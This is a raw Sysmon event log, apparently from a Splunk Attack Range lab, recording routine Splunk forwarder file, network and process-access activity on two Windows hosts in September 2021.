Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D2A0E4475845CAC3CF91F617B9932FCC,SHA256=F23B63B6109F6EC0A9CF84BD364DB6CF0ECC237C65D00CACB9E577DA986E8C72,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055067Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:28.612{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=80138AB7C531B8E2A7D9268CF4D6E13F,SHA256=0A7B55CC4C89C226593EF2942949E8D9DD1B5949481CD4DC9387D5F970A83CCF,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017589Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:28.341{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CC3811AE5BA0A3C575D81DDCD7F7DD0C,SHA256=A701CDD52C6043DA0C72FD38EFD5782538BB794DF7A502D7C4DD02880B6EF32F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055069Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:29.973{7BD73061-664E-613B-B000-00000000F001}4184NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055068Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:29.627{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1F881AE367A1353CB5746AA1B30F4245,SHA256=BE23948E061CCB1FFD05B459D02B1869F5755D8084B3BBF22F0A3C2D6F325C93,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017590Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:29.341{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=65F12DD6954BB761EC56CB3CC645858F,SHA256=9ED263F7A9E09D537ABC7F930A8E43BE85A9323B7B65ACE7F9725DD9DF4ED986,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000055071Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:28.482{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63134-false10.0.1.12-8000- 23542300x800000000000000055070Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:30.673{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B06491B2DDD1BC13FF100A0B59BDDFA2,SHA256=217E858C06663B2A49E0A279331CA9545EE2C96E15D830404D83CDBDF8C2E99F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017592Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:30.435{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=853CE6E5B8DBDA68B87320892CD41A59,SHA256=F96CDA08B3F7FDDC9CACA521931420BD3B682BF34ADEFDD1D87EE5AB2463CA5C,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000017591Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:28.506{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50370-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000055075Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:31.756{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8AD12CDDFFCA571D250A54F1BBC401CF,SHA256=F18F402E514D911597E56D977D067E268CEE51384B3ABBF1BAD94C00EA15383E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000017607Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:31.795{625C326B-743B-613B-2805-00000000F101}23203136C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017606Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:31.607{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-743B-613B-2805-00000000F101}2320C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017605Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:31.607{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017604Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:31.607{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017603Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:31.607{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017602Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:31.607{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017601Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:31.607{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017600Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:31.607{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017599Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:31.607{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017598Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:31.607{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017597Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:31.607{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017596Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:31.607{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-743B-613B-2805-00000000F101}2320C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017595Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:31.607{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-743B-613B-2805-00000000F101}2320C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017594Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:31.608{625C326B-743B-613B-2805-00000000F101}2320C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000017593Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:31.513{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7EA56F57433C162C78EA83692843D365,SHA256=EB1BEE4A3ACC44C2AD48AF65F0975CB9EDB3DE68F33AAAF2E070B705E88F70DE,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000055074Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:29.250{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63135-false10.0.1.12-8089- 23542300x800000000000000055073Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:31.625{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-shmMD5=0D244532A1D18BB42BE0EDFD10FADD17,SHA256=0A70316B1D6DD539C51D250F2D6D18C288EBCFC2D3CE6213CF968473F9C7BB77,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055072Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:31.625{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-shmMD5=F36BF985D5831B65BF4F3885DD0A3A9C,SHA256=81171B9D8C84EBDA875082062217227B0435DE6E7E26F79ED6AEE80650E88C6D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055077Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:32.771{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=46EDC2E2CEF5B2612E7C9A03D245DB3F,SHA256=4EB7A1F9ECC95BE5F3B16DE62C9D8081A72DA83EA0929F601E55E98CB6BDAA99,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017636Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:32.903{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=D1407B85474E2265B73242CF84A74BA1,SHA256=995DD5C26FD7B5CC8F50FB8C52B2FC9CB9CA147CD6FC9B920A1ADBA564CE4D06,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017635Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:32.903{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=37D5F5738086F3615777022BAD572445,SHA256=A185ACF0AB731B261B051B1DBBFC9D77584FB39C6EF4F3F3CCDCE29F5425B02F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017634Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:32.903{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=54AFF4B8DD18E331517811A863CD840E,SHA256=BE607232DC7F31644B5998DF2EDD3DA71F7A273C970B08CCD28C3D2A5457F0A2,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000017633Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:32.778{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-743C-613B-2A05-00000000F101}2280C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017632Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:32.778{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017631Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:32.778{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017630Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 